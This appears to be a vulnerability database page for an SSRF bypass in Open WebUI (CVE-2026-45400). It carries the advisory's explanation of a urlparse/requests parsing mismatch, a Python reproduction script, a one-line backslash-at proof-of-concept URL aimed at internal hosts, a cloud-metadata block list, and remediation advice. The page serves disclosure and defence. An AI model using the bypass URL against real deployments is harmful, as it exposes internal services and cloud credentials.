Skip to main content

Open WebUI EUVDEUVD-2026-30636

| CVE-2026-45400 HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-05-14 https://github.com/open-webui/open-webui GHSA-8w7q-q5jp-jvgx
8.5
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
8.5 HIGH
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
May 14, 2026 - 21:51 vuln.today
Analysis Generated
May 14, 2026 - 21:51 vuln.today
CVE Published
May 14, 2026 - 20:27 nvd
HIGH 8.5

DescriptionGitHub Advisory

Summary

In the open-webui project, a parsing difference between the urlparse and requests libraries led to an SSRF bypass vulnerability.

Details

In the current project, URL validation is performed using the function validate_url.

<img width="1323" height="1145" alt="QQ20260322-202854-22-1" src="https://github.com/user-attachments/assets/896d19f2-c7c3-499a-9052-12aea756ac47" />

The current checking logic uses urlparse to parse the hostname part of the URL for verification.

<img width="1122" height="429" alt="QQ20260322-203014-22-2" src="https://github.com/user-attachments/assets/653520e9-e311-4a5e-8345-a2446e217d88" />

However, there are actually differences in parsing between urlparse and the library that actually sends the request. For example, in files.py, validate_url is used first for URL validation, and then requests.get is used to send the request.

<img width="1269" height="915" alt="QQ20260322-203122-22-3" src="https://github.com/user-attachments/assets/f200aa06-9190-425e-9659-1ecaf95f806b" />

The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:

  • urlparse() treats \ as a regular character and @ as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public)
  • requests treats \ as a path character, connecting to 127.0.0.1 (internal)

Below is a test code I wrote following the open-webui code.

from __future__ import annotations

import ipaddress
import logging
import os
import socket
import urllib.parse
import urllib.request
from typing import Optional, Sequence, Union
import requests

log = logging.getLogger(__name__)
# Same text as open_webui.constants.ERROR_MESSAGES.INVALID_URL
INVALID_URL = (
    "Oops! The URL you provided is invalid. Please double-check and try again."
)
# Same semantics as open_webui.config (ENABLE_RAG_LOCAL_WEB_FETCH / WEB_FETCH_FILTER_LIST)
ENABLE_RAG_LOCAL_WEB_FETCH = (
    os.getenv("ENABLE_RAG_LOCAL_WEB_FETCH", "False").lower() == "true"
)

_DEFAULT_WEB_FETCH_FILTER_LIST = [
    "!169.254.169.254",
    "!fd00:ec2::254",
    "!metadata.google.internal",
    "!metadata.azure.com",
    "!100.100.100.200",
]
_web_fetch_filter_env = os.getenv("WEB_FETCH_FILTER_LIST", "")
if _web_fetch_filter_env == "":
    _web_fetch_filter_env_list: list[str] = []
else:
    _web_fetch_filter_env_list = [
        item.strip()
        for item in _web_fetch_filter_env.split(",")
        if item.strip()
    ]
WEB_FETCH_FILTER_LIST = list(
    set(_DEFAULT_WEB_FETCH_FILTER_LIST + _web_fetch_filter_env_list)
)


def get_allow_block_lists(filter_list):
    allow_list = []
    block_list = []

    if filter_list:
        for d in filter_list:
            if d.startswith("!"):
                block_list.append(d[1:].strip())
            else:
                allow_list.append(d.strip())

    return allow_list, block_list


def is_string_allowed(
    string: Union[str, Sequence[str]], filter_list: Optional[list[str]] = None
) -> bool:
    if not filter_list:
        return True

    allow_list, block_list = get_allow_block_lists(filter_list)
    strings = [string] if isinstance(string, str) else list(string)

    if allow_list:
        if not any(s.endswith(allowed) for s in strings for allowed in allow_list):
            return False

    if any(s.endswith(blocked) for s in strings for blocked in block_list):
        return False

    return True


def resolve_hostname(hostname):
# Get address information
    addr_info = socket.getaddrinfo(hostname, None)
# Extract IP addresses from address information
    ipv4_addresses = [info[4][0] for info in addr_info if info[0] == socket.AF_INET]
    ipv6_addresses = [info[4][0] for info in addr_info if info[0] == socket.AF_INET6]

    return ipv4_addresses, ipv6_addresses


def _validators_url_accept(url: str) -> bool:
    """
    Stand-in for python-validators url(): True if string looks like http(s) URL with host.
    """
    try:
        u = url.strip()
        if not u:
            return False
        p = urllib.parse.urlparse(u)
        if p.scheme not in ("http", "https"):
            return False
        if not p.netloc:
            return False
        return True
    except Exception:
        return False


def _ipv4_private(ip: str) -> bool:
    try:
        a = ipaddress.ip_address(ip)
        return a.version == 4 and a.is_private
    except ValueError:
        return False


def _ipv6_private(ip: str) -> bool:
    try:
        a = ipaddress.ip_address(ip)
        return a.version == 6 and a.is_private
    except ValueError:
        return False


def validate_url(url: Union[str, Sequence[str]]):
    if isinstance(url, str):
        if not _validators_url_accept(url):
            raise ValueError(INVALID_URL)

        parsed_url = urllib.parse.urlparse(url)
# Protocol validation - only allow http/https
        if parsed_url.scheme not in ["http", "https"]:
            log.warning(
                f"Blocked non-HTTP(S) protocol: {parsed_url.scheme} in URL: {url}"
            )
            raise ValueError(INVALID_URL)
# Blocklist check using unified filtering logic
        if WEB_FETCH_FILTER_LIST:
            if not is_string_allowed(url, WEB_FETCH_FILTER_LIST):
                log.warning(f"URL blocked by filter list: {url}")
                raise ValueError(INVALID_URL)

        if not ENABLE_RAG_LOCAL_WEB_FETCH:
# Local web fetch is disabled, filter out any URLs that resolve to private IP addresses
            parsed_url = urllib.parse.urlparse(url)
# Get IPv4 and IPv6 addresses
            ipv4_addresses, ipv6_addresses = resolve_hostname(parsed_url.hostname)
# Check if any of the resolved addresses are private
# This is technically still vulnerable to DNS rebinding attacks, as we don't control WebBaseLoader
            for ip in ipv4_addresses:
                if _ipv4_private(ip):
                    raise ValueError(INVALID_URL)
            for ip in ipv6_addresses:
                if _ipv6_private(ip):
                    raise ValueError(INVALID_URL)
        return True
    elif isinstance(url, Sequence):
        return all(validate_url(u) for u in url)
    else:
        return False

if __name__ == "__main__":
    logging.basicConfig(level=logging.INFO)
# url = "https://127.0.0.1:6666\@1.1.1.1"
    url = "https://127.0.0.1:6666"
    validate_url(url)
    response = requests.get(url)
    print(response.text)

As you can see, the current check on 127.0.0.1:6666 successfully identified it as an internal network IP and blocked it.

<img width="1428" height="273" alt="QQ20260322-203503-22-4" src="https://github.com/user-attachments/assets/cf29b639-d4fe-409e-a516-2424d608739f" />

However, for https://127.0.0.1:6666\@1.1.1.1/, the hostname extracted by validate_url is 1.1.1.1, which is considered a public IP address and therefore passes validation. In reality, this URL is being used to request the internal IP address 127.0.0.1:6666, resulting in an SSRF bypass.

<img width="2255" height="786" alt="QQ20260322-203750-22-5" src="https://github.com/user-attachments/assets/050bc6a4-760f-4d7a-8b52-056778097cd1" />

PoC

http://127.0.0.1:6666\@baidu.com

Impact

SSRF

AnalysisAI

URL parser mismatch in Open WebUI allows authenticated users to bypass SSRF protections and access internal network resources. The validate_url function uses Python's urlparse library to extract hostnames for validation, while the requests library handles actual HTTP requests. These libraries disagree on parsing URLs containing backslash characters (e.g., http://127.0.0.1:6666\@1.1.1.1), allowing attackers to craft URLs that pass validation as external addresses but resolve to internal hosts. Exploitation requires low-privilege authentication but no user interaction, enabling access to cloud metadata endpoints and internal services. Fixed in version 0.9.5 per GitHub advisory GHSA-8w7q-q5jp-jvgx.

Technical ContextAI

This vulnerability exploits a URL parsing discrepancy between Python's urllib.parse.urlparse and the requests library, a classic example of CWE-918 Server-Side Request Forgery via parser differential. The affected component is Open WebUI's validate_url function (pkg:pip/open-webui), which validates URLs for RAG (Retrieval-Augmented Generation) web fetching capabilities. The root cause is that urlparse treats backslash as a regular character in the authority component, interpreting '@' as the userinfo-host separator, extracting '1.1.1.1' as the hostname from 'http://127.0.0.1:6666\@1.1.1.1'. However, requests follows a different parsing strategy, treating backslash differently and ultimately connecting to '127.0.0.1'. The validation logic specifically blocks private IP ranges (RFC 1918) and cloud metadata endpoints (169.254.169.254, metadata.google.internal, etc.) when ENABLE_RAG_LOCAL_WEB_FETCH is disabled, but this crafted URL bypasses these checks. This is a well-known attack pattern in SSRF vulnerabilities where security controls rely on one parsing library while execution uses another, creating exploitable semantic gaps.

RemediationAI

Upgrade to Open WebUI version 0.9.5 or later, which addresses the URL parsing discrepancy per vendor advisory GHSA-8w7q-q5jp-jvgx (https://github.com/open-webui/open-webui/security/advisories/GHSA-8w7q-q5jp-jvgx). For pip-installed deployments, run 'pip install --upgrade open-webui>=0.9.5' to apply the fix. If immediate patching is not feasible, implement defense-in-depth measures: (1) Set ENABLE_RAG_LOCAL_WEB_FETCH=False in environment configuration to disable local network fetching entirely-this eliminates the attack surface but breaks legitimate RAG web fetch functionality. (2) Expand WEB_FETCH_FILTER_LIST to include additional internal IP ranges and use network-level egress filtering to block Open WebUI servers from accessing internal networks and cloud metadata endpoints (169.254.169.254, fd00:ec2::254) at the firewall level-note this requires infrastructure changes and may not prevent attacks targeting services on the same host. (3) Restrict Open WebUI access to trusted users only and audit user permissions, as PR:L means any authenticated user can exploit this-this reduces exposure but does not eliminate the vulnerability. Review application logs for suspicious URL patterns containing backslash-at sequences (\@) in web fetch requests to detect potential exploitation attempts. The vendor fix normalizes URL parsing to ensure validation and request libraries agree on hostname extraction.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2026-55255 HIGH POC
8.4 Jun 19

Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing

Share

EUVD-2026-30636 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy